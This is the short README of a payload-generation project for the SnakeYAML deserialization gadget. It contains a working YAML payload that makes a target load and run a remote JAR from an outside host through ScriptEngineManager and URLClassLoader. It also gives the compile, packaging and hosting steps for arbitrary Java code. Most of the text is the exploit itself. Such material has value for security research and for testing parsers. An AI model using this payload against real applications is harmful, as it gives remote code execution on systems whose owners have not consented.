A tiny project for generating payloads for the SnakeYAML deserialization gadget (taken from https://github.com/mbechler/marshalsec):

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
  ]]
]

Put the java code you want execute into AwesomeScriptEngineFactory.java and compile:

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

Then place the 'yaml-payload.jar' file in to the web server folder (e.g. artsploit.com/yaml-payload.jar)